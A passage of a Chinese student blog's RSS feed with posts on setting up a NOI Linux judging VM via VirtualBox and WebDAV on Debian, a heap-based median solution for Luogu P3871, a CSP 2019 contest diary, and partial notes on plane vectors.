&lt;p&gt;所以说，就当是有梦想了吧&lt;/p&gt;
&lt;p&gt;虽然自己菜的真实&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「私たち、 輝きたい！」&lt;/p&gt;
&lt;p&gt;「LoveLive!SunShine!!」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Woshiluo
2019/12/04
乌鲁木齐市第一中学 小机房&lt;/p&gt;
</content:encoded><category>algorithm</category><category>share</category><author>woshiluo</author></item><item><title>命令行下使用 VirtualBox 安装 NOI Linux</title><link>https://blog.woshiluo.com/posts/2019/10/%E5%91%BD%E4%BB%A4%E8%A1%8C%E4%B8%8B%E4%BD%BF%E7%94%A8-virtualbox-%E5%AE%89%E8%A3%85-noi-linux/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/10/%E5%91%BD%E4%BB%A4%E8%A1%8C%E4%B8%8B%E4%BD%BF%E7%94%A8-virtualbox-%E5%AE%89%E8%A3%85-noi-linux/</guid><pubDate>Wed, 30 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 缘起&lt;/h2&gt;
&lt;p&gt;这两天模拟赛越发频繁了…&lt;/p&gt;
&lt;p&gt;Windows 有时候很睿智，Lemon 时间波动特别大，Cena … 不说了大家都懂&lt;/p&gt;
&lt;p&gt;总而言之，与其和微软斗智斗勇，不如早日更换评测环境&lt;/p&gt;
&lt;p&gt;然而如果使用现今的发行版，有一个很有意思的问题…&lt;/p&gt;
&lt;p&gt;CCF 的评测环境有些久远，而且还是 32 位的&lt;/p&gt;
&lt;p&gt;所以果然还是 NOI Linux 吧～&lt;/p&gt;
&lt;p&gt;然而机房并没有空闲的电脑能够完成这个任务，虚拟机大家又跑不起&lt;/p&gt;
&lt;p&gt;我的眼光落到了正在运行着 NovaOJ 的工作站上&lt;/p&gt;
&lt;p&gt;就决定是你了！&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;1 VirtualBox 安装&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;系统环境：
&lt;code&gt;Linux hostname 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 GNU/Linux&lt;/code&gt;
以下命令默认使用 &lt;code&gt;root&lt;/code&gt; 权限&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1.1 安装标准包&lt;/h3&gt;
&lt;p&gt;直接从官网…&lt;/p&gt;
&lt;p&gt;并没有 Debian 10 的包&lt;/p&gt;
&lt;p&gt;不过可以添加软件源&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add -
wget -q https://www.virtualbox.org/download/oracle_vbox.asc -O- | sudo apt-key add -
echo &apos;deb [arch=amd64] https://download.virtualbox.org/virtualbox/debian buster contrib&apos; &amp;gt;&amp;gt; /etc/apt/sources.list
apt-get update
apt-get install virtualbox-6.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.2 安装扩展包&lt;/h3&gt;
&lt;p&gt;你可以从 &lt;a href=&quot;https://www.virtualbox.org/wiki/Downloads&quot;&gt;官方站点&lt;/a&gt; 的&lt;code&gt;VirtualBox *** Oracle VM VirtualBox Extension Pack&lt;/code&gt; 一栏获取最新版的下载链接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget https://download.virtualbox.org/virtualbox/6.0.14/Oracle_VM_VirtualBox_Extension_Pack-6.0.14.vbox-extpack
VBoxManage extpack install ./Oracle_VM_VirtualBox_Extension_Pack-6.0.14.vbox-extpack
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 获取 NOI Linux 安装包&lt;/h2&gt;
&lt;p&gt;自己去 &lt;a href=&quot;http://www.noi.cn&quot;&gt;NOI 官网&lt;/a&gt; 找去…&lt;/p&gt;
&lt;h2&gt;3 创建虚拟机&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;vm_name=&quot;noi_linux&quot;
vm_hard=&quot;/oi/noi_linux/hard.vdi&quot;
noi_linux_iso=&quot;/home/test/noilinux-1.4.1.iso&quot;
vboxmanage createvm --name $vm_name --ostype noi_linux --register
VBoxManage createvdi --filename $vm_hard --size 20480
vboxmanage modifyvm $vm_name --memory 4096 --vram 256 --hwvirtex on
vboxmanage storagectl &quot;$vm_name&quot; --name &quot;SATA Controller&quot;
vboxmanage storagectl &quot;$vm_name&quot; --name &quot;SATA Controller&quot; --add sata --hostiocache on --bootable on
vboxmanage storagectl &quot;$vm_name&quot; --name &quot;IDE Controller&quot; --add ide --controller PIIX4 --hostiocache on --bootable on
vboxmanage storageattach $vm_name --storagectl &quot;SATA Controller&quot; --port 0 --device 0 --type hdd --medium $vm_hard
vboxmanage storageattach $vm_name --storagectl &quot;IDE Controller&quot; --port 1 --device 1 --type dvddrive --medium $noi_linux_iso
vboxmanage modifyvm $vm_name --vrde on --vrdeport 5688
VBoxManage modifyvm $vm_name --cpus 2
vboxmanage modifyvm $vm_name --nic1 nat
VBoxHeadless -s $vm_name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样子你的虚拟机就在 5688 端口上建立一个远程桌面&lt;/p&gt;
&lt;p&gt;使用 Windows 的 远程桌面链接或者 &lt;code&gt;rdsktop&lt;/code&gt; 即可&lt;/p&gt;
&lt;p&gt;接下来大家都会安装，问题在与如何链接和上传文件&lt;/p&gt;
&lt;h2&gt;4 创建端口映射并建立 WebDAV&lt;/h2&gt;
&lt;p&gt;短暂的思考后，我们可以建立 WebDAV 并配以适当的权限控制，来完成这一目标&lt;/p&gt;
&lt;h3&gt;4.1 端口映射&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;vboxmanage controlvm $vm_name natpf1 “web,ssh,,2012,,22”
vboxmanage controlvm $vm_name natpf1 “web,tcp,,2022,,80”
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.2 配置 WebDAV&lt;/h3&gt;
&lt;p&gt;在 NOI Linux 下执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt-get install apache2 apache2-utils
a2enmod dav
a2enmod dav_fs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编辑 &lt;code&gt;/etc/apache2/sites-enabled/000-default.conf&lt;/code&gt; 文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;
    DocumentRoot /home/noilinux/oi
    Alias / /home/noilinux/oi/
    &amp;lt;Directory &quot;/home/noilinux/oi&quot;&amp;gt;
        Dav On
        Options +Indexes
        IndexOptions FancyIndexing
        AddDefaultCharset UTF-8
        AuthType Basic
        AuthName &quot;NOI Linux Test Env&quot;
        AuthUserFile /var/www/passwd.dav
        Order allow,deny
        Allow from all
        &amp;lt;LimitExcept GET PUT POST DELETE MOVE COPY OPTIONS&amp;gt;
            Require user admin
        &amp;lt;/LimitExcept&amp;gt;
        &amp;lt;LimitExcept PUT POST DELETE MOVE OPTIONS&amp;gt;
            Require user guest
        &amp;lt;/LimitExcept&amp;gt;
    &amp;lt;/Directory&amp;gt;

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

&amp;lt;/VirtualHost&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;LimitExcept&lt;/code&gt; 项是权限控制&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;htpasswd -c /var/www/passwd.dav guest
htpasswd -c /var/www/passwd.dav admin
service apache2 restart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 WebDAV 访问工具访问 &lt;code&gt;ip:2022&lt;/code&gt; 即可上传文件至 &lt;code&gt;/home/noi_linux/oi&lt;/code&gt; 目录下&lt;/p&gt;
&lt;p&gt;请确保 &lt;code&gt;/home/noi_linux/oi&lt;/code&gt; 目录存在且可读写&lt;/p&gt;
&lt;h2&gt;5 虚拟机自启动&lt;/h2&gt;
&lt;p&gt;修改 &lt;code&gt;/etc/systemd/system/vbox@.service&lt;/code&gt; 文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=VirtualBox Machine Service - %I
After=network.target
Wants=network.target

[Service]
Type=simple
User=woshiluo
ExecStart=VBoxHeadless -s %I
ExecStop=vboxmanage controlvm %I poweroff
Restart=on-failure

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl start vbox@$vm_name.service
systemctl enable vbox@$vm_name.service
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6 结&lt;/h2&gt;
&lt;p&gt;果然命令行是可以解决所有问题的www&lt;/p&gt;
&lt;p&gt;之后编译个 Lemon Plus 即可&lt;/p&gt;
&lt;p&gt;不过还是希望 CCF 升级一下评测环境啊&lt;/p&gt;
&lt;p&gt;毕竟 32 位系统也开始逐渐被抛弃了&lt;/p&gt;
&lt;p&gt;本文提供了一种学校内模拟 NOI Linux 评测环境的方法，并提供了一种较为合理的文件传输及权限控制方法&lt;/p&gt;
&lt;p&gt;对于有服务器的学校是一种较为优秀的解决方案&lt;/p&gt;
&lt;h2&gt;7 引用&lt;/h2&gt;
&lt;p&gt;本文在撰写时参考了下列网页或博客，特此写出，部分内容来源不清，故未写出&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/a85820069/article/details/79038119&quot;&gt;VBoxManage 主机与宿主机之间实现端口映射&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/29759641&quot;&gt;CentOS7命令行安装VirtualBox并安装虚拟机&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>linux</category><category>share</category><author>woshiluo</author></item><item><title>Luogu P3871 [TJOI2010]中位数</title><link>https://blog.woshiluo.com/posts/2019/10/luogu-p3871-tjoi2010%E4%B8%AD%E4%BD%8D%E6%95%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/10/luogu-p3871-tjoi2010%E4%B8%AD%E4%BD%8D%E6%95%B0/</guid><pubDate>Tue, 29 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;题目链接: [&lt;a href=&quot;https://www.luogu.org/problem/P3871&quot;&gt;https://www.luogu.org/problem/P3871&lt;/a&gt;]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;因为要帮同学们复习的时候选题，选到堆的时候问了问 StudyingFather 的意见，他给我推荐了这个题目&lt;/p&gt;
&lt;p&gt;超级感谢推荐，这个题目真是太有意思了（&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;1 思路&lt;/h2&gt;
&lt;p&gt;实际上这种方法我也并不是第一个，只是觉得网上绝大多数代码都没有咱写的清晰&lt;/p&gt;
&lt;p&gt;实际上就是觉得别人代码不好看&lt;/p&gt;
&lt;p&gt;既然写了就说说吧&lt;/p&gt;
&lt;p&gt;考虑中位数本质是维护最中间的数&lt;/p&gt;
&lt;p&gt;将序列一分为二，保持插入后两个数列大小的均衡即可&lt;/p&gt;
&lt;p&gt;但是插入的时候也不能暴力插入啊（&lt;/p&gt;
&lt;p&gt;那就将左右两个序列分别建立一个堆&lt;/p&gt;
&lt;p&gt;然后插入堆即可&lt;/p&gt;
&lt;h2&gt;2 Source&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;queue&amp;gt;

std::priority_queue&amp;lt;int&amp;gt; _min, _max;

int n, m, left, rig;

void balance() {
    int k = ( ( left + rig ) &amp;amp; 1 );
    while( left - rig &amp;gt; k ) {
        _min.push( - _max.top() ), _max.pop();
        left --, rig ++;
    }
    while( left - rig &amp;lt; k ) {
        _max.push( - _min.top() ), _min.pop();
        left ++, rig --;
    }

}

void add( int val ) {
    if( _max.empty() == false &amp;amp;&amp;amp; val &amp;gt; _max.top() ) {
        _min.push( - val );
        rig ++;
    }
    else {
        _max.push( val );
        left ++;
    }
    balance();
}

int main() {
#ifdef woshiluo
    freopen( &quot;luogu.3871.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;luogu.3871.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d&quot;, &amp;amp;n );
    for( int i = 1, tmp; i &amp;lt;= n; i ++ ) {
        scanf( &quot;%d&quot;, &amp;amp;tmp );
        add(tmp);
    }

    scanf( &quot;%d&quot;, &amp;amp;m );

    char op[5];
    int tmp;
    while( m -- ) {
        scanf( &quot;%s&quot;, op );
        if( op[0] == &apos;a&apos; ) {
            scanf( &quot;%d&quot;, &amp;amp;tmp );
            add(tmp);
        }
        else {
            balance();
            printf( &quot;%d\n&quot;, _max.top() );
        }
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Blog 1024 天随写</title><link>https://blog.woshiluo.com/posts/2019/10/blog-1024-%E5%A4%A9%E9%9A%8F%E5%86%99/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/10/blog-1024-%E5%A4%A9%E9%9A%8F%E5%86%99/</guid><pubDate>Mon, 28 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;大约统计一下，这个小小博客也勉勉强强活了 1024 天了&lt;/p&gt;
&lt;p&gt;很高兴在我的学习生涯中能有此博客做以笔记，或者是另外一个略作日记的网站&lt;/p&gt;
&lt;p&gt;这博客比我的 Oi 生涯还长了，希望它能记载着我的笔记，陪我一起向前吧&lt;/p&gt;
&lt;p&gt;若能帮助到无意点开的您，便是我的荣幸了&lt;/p&gt;
</content:encoded><author>woshiluo</author></item><item><title>CSP - S/J 2019 第一轮 游记</title><link>https://blog.woshiluo.com/posts/2019/10/csp-s-j-2019-%E7%AC%AC%E4%B8%80%E8%BD%AE-%E6%B8%B8%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/10/csp-s-j-2019-%E7%AC%AC%E4%B8%80%E8%BD%AE-%E6%B8%B8%E8%AE%B0/</guid><pubDate>Wed, 23 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 序&lt;/h2&gt;
&lt;p&gt;又开始了啊，新的一轮&lt;/p&gt;
&lt;p&gt;大家或多或少的开始了新的旅程了呢&lt;/p&gt;
&lt;p&gt;这两天和一位内地的 CSPer 聊了一些和 CSP 无关的东西，感觉想通了不少事情&lt;/p&gt;
&lt;p&gt;今年到考场都跟咸鱼一样了&lt;/p&gt;
&lt;p&gt;依稀记得去年监考老师不讲理过了 3min 还不发卷子&lt;/p&gt;
&lt;p&gt;「老师，已经过去了三分钟了，怎么还不发卷子」 xqmmcqs 大佬突然站起来询问道&lt;/p&gt;
&lt;p&gt;感觉自己就是从这个时候开始，老师这个概念已经从我心中的神坛跌了下去&lt;/p&gt;
&lt;p&gt;我只会去尊重有理有据教育我们的老师的&lt;/p&gt;
&lt;p&gt;或许是 Oi 学久了，某些思想竟以变得如此激进了&lt;/p&gt;
&lt;p&gt;前文说的有点杂了，还是开始正题吧&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注：为了笔者和大家的习惯，下文统称 CSPer 和 Oier 为 Oier&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注：文中出现人物多使用其常见 id 称呼，没有或我不知道常见 id 的使用姓名拼音首字母简称，您可以在评论去提出更改或者匿名请求，请求处理完后会删除相应评论&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;1 Day 0&lt;/h2&gt;
&lt;p&gt;考试前一天，不由得还是放弃早上文化课的学习&lt;/p&gt;
&lt;p&gt;早早的赶到一中，出门的时候就已经飘起了小雨&lt;/p&gt;
&lt;p&gt;等到达了郊区的一中，已经变成了大雨了&lt;/p&gt;
&lt;p&gt;然而还是没有内地的一半大&lt;/p&gt;
&lt;p&gt;一鼓气跑到机房，发现机房的人远远比平常多&lt;/p&gt;
&lt;p&gt;果然大家都是想复习的吧...&lt;/p&gt;
&lt;p&gt;然而人多就避免不了嘈杂的问题，不过还算好，带上耳机还是可以给自己一片清净的&lt;/p&gt;
&lt;p&gt;不想学习，便在 Github 上写脚本，刚将 &lt;code&gt;README&lt;/code&gt; 写完，一看窗外，下雪了&lt;/p&gt;
&lt;p&gt;跑到楼下去，趁着这次的雪还在「半雪半水」的状态，拍几张照片&lt;/p&gt;
&lt;p&gt;这里是图片desu&lt;/p&gt;
&lt;p&gt;到了下午就更乱了，杨老师过来告诉我下午可以不去市中心，我就没去了，真的太远了&lt;/p&gt;
&lt;p&gt;杨老师又给我们发了两套模拟题&lt;/p&gt;
&lt;p&gt;我将一套放在了今天， 75 分，另一套打算在明早做&lt;/p&gt;
&lt;p&gt;晚上和许久未见的 dwx 大佬与 czy 大佬一起去吃饭，大家聊了许多奇奇怪怪的东西&lt;/p&gt;
&lt;p&gt;到了晚上，我们就需要贴考场号了，科协的人实在是太咕了，实在不明白这样得到组委会为什么还能得到 CCF 的青睐（话说回来，CCF 也够咕的了）&lt;/p&gt;
&lt;p&gt;本来还想在机房稍微休息一下，结果被家里人赶回了家（指通过电话）&lt;/p&gt;
&lt;h2&gt;2 Day 1&lt;/h2&gt;
&lt;h3&gt;2.0 序 - 清晨&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;幾億もの涙が溢れ出してく
「无数的泪珠 从眼中夺眶而出」
そんな毎日を繰り返すように
就像是要重复这样的每个日子一样
僕らはまた新しい夢を開く
我们再一次用自己的双手完成新的梦想&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://music.163.com/#/song?id=410925727&quot;&gt;&lt;/a&gt;&lt;em&gt;&lt;a href=&quot;https://music.163.com/#/song?id=410925727&quot;&gt;東の空から始まる世界&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;早上起来了，简单做了一下昨天说要做的题目，结果基本上还是那样&lt;/p&gt;
&lt;p&gt;大概奶了一下运算优先级和排序稳定性，都奶中了&lt;/p&gt;
&lt;p&gt;早上吃得还是熟悉的洋葱面，果然考试的早上吃这个最好了&lt;/p&gt;
&lt;p&gt;匆忙的赶到一中，刚下车就碰见 BeyondLimits&lt;/p&gt;
&lt;p&gt;见到铁三的一批人却没有见到 kuinwith2O 一问才发现没来...&lt;/p&gt;
&lt;p&gt;在机房简单看了看 OiWiki，然后就跑到在教学楼的考场&lt;/p&gt;
&lt;p&gt;遇到 SpinMry，更惊奇的是遇到了在兵二的老同学&lt;/p&gt;
&lt;p&gt;大家在聊天中，时间过得飞快，转眼间就到了进入考场的时间&lt;/p&gt;
&lt;p&gt;走吧， 向前&lt;/p&gt;
&lt;h3&gt;2.1 CSP - S 第一轮&lt;/h3&gt;
&lt;p&gt;坐进考场发现自己所在的考场有一半都是熟人，最惊奇的是 15owzLy1 还带了薯片&lt;/p&gt;
&lt;p&gt;特派员又来吼了，虽然特派员很凶，但是维护了考场秩序和比赛公平还是值得称赞的&lt;/p&gt;
&lt;p&gt;一开始说分赛区填新疆我内心是迷惑行为大赏的，但是后来改成乌鲁木齐了...&lt;/p&gt;
&lt;p&gt;然而占据中国领土的 $\frac{1}{6}$ 的新疆只有 $3$ 个考场...&lt;/p&gt;
&lt;p&gt;手上拿到卷子&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;选择
&lt;ul&gt;
&lt;li&gt;原题是不是有一点点点多？&lt;/li&gt;
&lt;li&gt;然而数数题我还是忘记了答案 ...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;阅读程序
&lt;ul&gt;
&lt;li&gt;T1 日常友好&lt;/li&gt;
&lt;li&gt;T2 还行，就是这个满是漏洞的并查集让人想打人&lt;/li&gt;
&lt;li&gt;T3 我傻了，这个程序在跑什么&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;程序填空
&lt;ul&gt;
&lt;li&gt;T1 蛮友好的，就是 &lt;code&gt;unlock&lt;/code&gt; 数组感觉槽点好多&lt;/li&gt;
&lt;li&gt;T2 我看了半个小时才明白他在写什么，搞懂了之后就没啥事了&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;考完回到机房，远在电梯口，就可以听到机房的讨论声&lt;/p&gt;
&lt;p&gt;然而带上耳机开了音乐还是很舒服的&lt;/p&gt;
&lt;p&gt;大概互相问了一下，感觉还行&lt;/p&gt;
&lt;h3&gt;2.2 幕间 - 午休&lt;/h3&gt;
&lt;p&gt;下午还有 CSP - J 第一轮，这就说明&lt;/p&gt;
&lt;p&gt;我们还要布置考场&lt;/p&gt;
&lt;p&gt;科协你可上点心吧&lt;/p&gt;
&lt;p&gt;在杨老师都快把考场布置任务分配完了的时候，她终于想起来我要考 CSP - J 的悲惨事实&lt;/p&gt;
&lt;p&gt;（当时 13:00，我还没吃饭，14:30 开始考试）&lt;/p&gt;
&lt;p&gt;然后她就让我先吃饭去了&lt;/p&gt;
&lt;p&gt;超级感谢老师！&lt;/p&gt;
&lt;p&gt;然后吃完饭趴桌子上趴到 13:50，慢悠悠晃到考场&lt;/p&gt;
&lt;p&gt;碰见了 caq 同学，两个人正在聊着天，一看手机，群里有人发答案了&lt;/p&gt;
&lt;p&gt;跑回机房对了一下，选择计数总共两道全没了&lt;/p&gt;
&lt;p&gt;阅读程序 T3 判断 第三个，选择全挂&lt;/p&gt;
&lt;p&gt;程序填空 T2 第一个死亡&lt;/p&gt;
&lt;p&gt;估出来勉强算个中等？&lt;/p&gt;
&lt;p&gt;跑到考点，然后发现杨老师发考点分布图了，帮助周围人快速获取所在考场后，开门了&lt;/p&gt;
&lt;p&gt;还是二楼啊，继续向前吧&lt;/p&gt;
&lt;h3&gt;2.3 CSP - J 第一轮&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;选择
&lt;ul&gt;
&lt;li&gt;上午题目魔改可还行&lt;/li&gt;
&lt;li&gt;这次数数是我会的东西...但是根本算不动了，还是随便选了个看起来顺眼的&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;阅读程序
&lt;ul&gt;
&lt;li&gt;很上面一样，除了 T3 选择略坑，别的基本上都会，但是真的没有能力再带值进去了&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;程序填空
&lt;ul&gt;
&lt;li&gt;T1 无难度&lt;/li&gt;
&lt;li&gt;T2 是真的神仙，这个东西完全凭着以前写 SA 的手感写的...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;出了考场碰见了 dyf 同学，大家真的好久没见了，聊了会天，回到机房&lt;/p&gt;
&lt;h3&gt;2.4 尾声&lt;/h3&gt;
&lt;p&gt;回到了机房，大家都或多或少都在颓废，毕竟没得办法&lt;/p&gt;
&lt;p&gt;这次的初赛实在是太太太神仙了&lt;/p&gt;
&lt;p&gt;和 yyy 与 BeyondLimits 谈笑风声了一小阵&lt;/p&gt;
&lt;p&gt;然后父母把我叫出去了&lt;/p&gt;
&lt;p&gt;「乌奎高速八车道修好了，我们带你去沙湾吃大盘鸡」&lt;/p&gt;
&lt;p&gt;我「？？？」&lt;/p&gt;
&lt;p&gt;然后我就被拽走了&lt;/p&gt;
&lt;p&gt;顺带一提，头屯河收费站的烟味是真的难闻&lt;/p&gt;
&lt;h2&gt;3 总结 / End&lt;/h2&gt;
&lt;p&gt;CSP - S / J 的第一式或多或少都说明了我在组合数学与字符串的不足&lt;/p&gt;
&lt;p&gt;需要加强填坑才是&lt;/p&gt;
&lt;p&gt;大家出了考场都在互相询问，真的是有些人好久都没见到了...&lt;/p&gt;
&lt;p&gt;保不准也是最后一次相见了呢&lt;/p&gt;
&lt;p&gt;就这样，祝大家好运&lt;/p&gt;
&lt;p&gt;祝我们都有一个美好的未来&lt;/p&gt;
&lt;p&gt;Woshiluo&lt;/p&gt;
&lt;p&gt;2019 / 10 / 23&lt;/p&gt;
&lt;p&gt;完稿于乌鲁木齐市第一中学绿谷校区&lt;/p&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>平面向量学习笔记（大概？）</title><link>https://blog.woshiluo.com/posts/2019/08/%E5%B9%B3%E9%9D%A2%E5%90%91%E9%87%8F%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E5%A4%A7%E6%A6%82/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/08/%E5%B9%B3%E9%9D%A2%E5%90%91%E9%87%8F%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E5%A4%A7%E6%A6%82/</guid><pubDate>Thu, 22 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这篇文章咕了好久了，鬼知道为什么&lt;/p&gt;
&lt;p&gt;本篇文章的目的只是为了更方便的学习 P2742 【模板】二维凸包 这道题目，如果有不详细或者错误之处，往各位大佬们多多指出&lt;/p&gt;
&lt;h2&gt;1 定义&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;向量&lt;/strong&gt;：有&lt;strong&gt;大小&lt;/strong&gt;，有&lt;strong&gt;方向&lt;/strong&gt; 的量是向量，然而数学中研究的向量通常是 &lt;strong&gt;自由向量&lt;/strong&gt;，即起点终点并不重要&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;向量的模&lt;/strong&gt;：向量的长度被称为向量的模&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;零向量&lt;/strong&gt;：模为 $0$ 的向量，零向量方向任意，记为 $\vec 0$ 或 $\mathbf 0$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;单位向量&lt;/strong&gt;：模为 $1$ 的向量是其在该方向的单位向量&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;2 平面向量基本定理&lt;/h2&gt;
&lt;p&gt;任何平面向量，都可以又两个不共线的向量 $\vec a$ 和 $ \vec b$ 表示出来&lt;/p&gt;
&lt;p&gt;在同一平面类两个不共线的向量称为 &lt;strong&gt;基底&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.1 平面向量的坐标表示&lt;/h3&gt;
&lt;p&gt;如果使用分别于横纵坐标方向相同的两个单位向量 $\vec i,\vec j$ 作为一组基地，则所有向量与有序实数对一一对应&lt;/p&gt;
&lt;h2&gt;3 向量的加减&lt;/h2&gt;
&lt;p&gt;向量的加减主要有两种法则&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;向量加法的三角形法则&lt;/strong&gt;：$ \vec {AB} + \vec{BC} = \vec {AC} $&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;向量加法的平行四边形法则&lt;/strong&gt;：若两个向量共起点 $ \vec {AB} $ $ \vec {AC} $ ，则包含这两条边的平行四边形中的以 $A$ 开头的对角线就是这两个向量相加的结果&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;相减可以当作加上其相反数，也就是加上相反方向的 $\vec B$&lt;/p&gt;
&lt;h3&gt;3.1 坐标表示法&lt;/h3&gt;
&lt;p&gt;若有两个向量 $(x,y)$ $(a,b)$&lt;/p&gt;
&lt;p&gt;则 $ (x,y) + (a,b) = (x + a, y +b)$&lt;/p&gt;
&lt;h2&gt;4 向量的各种乘&lt;/h2&gt;
&lt;h3&gt;4.1 数乘&lt;/h3&gt;
&lt;p&gt;若有实数 $x$ ，则我们称 $x\vec{a}$ 这种运算为数乘&lt;/p&gt;
&lt;p&gt;若&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$x &amp;gt; 0$ 则 $\vec{a}$ 的长度乘于 $x$ ，$\vec{a}$ 的方向不变&lt;/li&gt;
&lt;li&gt;$ x &amp;lt; 0$ 则 $\vec a$ 的长度乘于 $x$ ，$\vec a$ 的方向与原来相反&lt;/li&gt;
&lt;li&gt;$x = 0$ 则结果为 $\mathbf 0$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;数乘具有结合律和交换律&lt;/p&gt;
&lt;h4&gt;坐标表示法&lt;/h4&gt;
&lt;p&gt;$ k(a,b) = (ka, kb) $&lt;/p&gt;
&lt;h3&gt;4.2 数量积&lt;/h3&gt;
&lt;p&gt;咕了&lt;/p&gt;
&lt;h4&gt;坐标表示法&lt;/h4&gt;
&lt;p&gt;$ (n,m) \cdot (a,b) = na + mb $&lt;/p&gt;
&lt;h3&gt;4.3 向量积&lt;/h3&gt;
&lt;p&gt;咕了&lt;/p&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>中山纪念中学 Day 21 2019.08.21 解题报告 &amp; 题解</title><link>https://blog.woshiluo.com/posts/2019/08/%E4%B8%AD%E5%B1%B1%E7%BA%AA%E5%BF%B5%E4%B8%AD%E5%AD%A6-day-20-2019-08-20-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A-%E9%A2%98%E8%A7%A3/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/08/%E4%B8%AD%E5%B1%B1%E7%BA%AA%E5%BF%B5%E4%B8%AD%E5%AD%A6-day-20-2019-08-20-%E8%A7%A3%E9%A2%98%E6%8A%A5%E5%91%8A-%E9%A2%98%E8%A7%A3/</guid><pubDate>Thu, 22 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;T1 数字 Number&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;考场上疯狂肝这道题目，结果少个特判&lt;/p&gt;
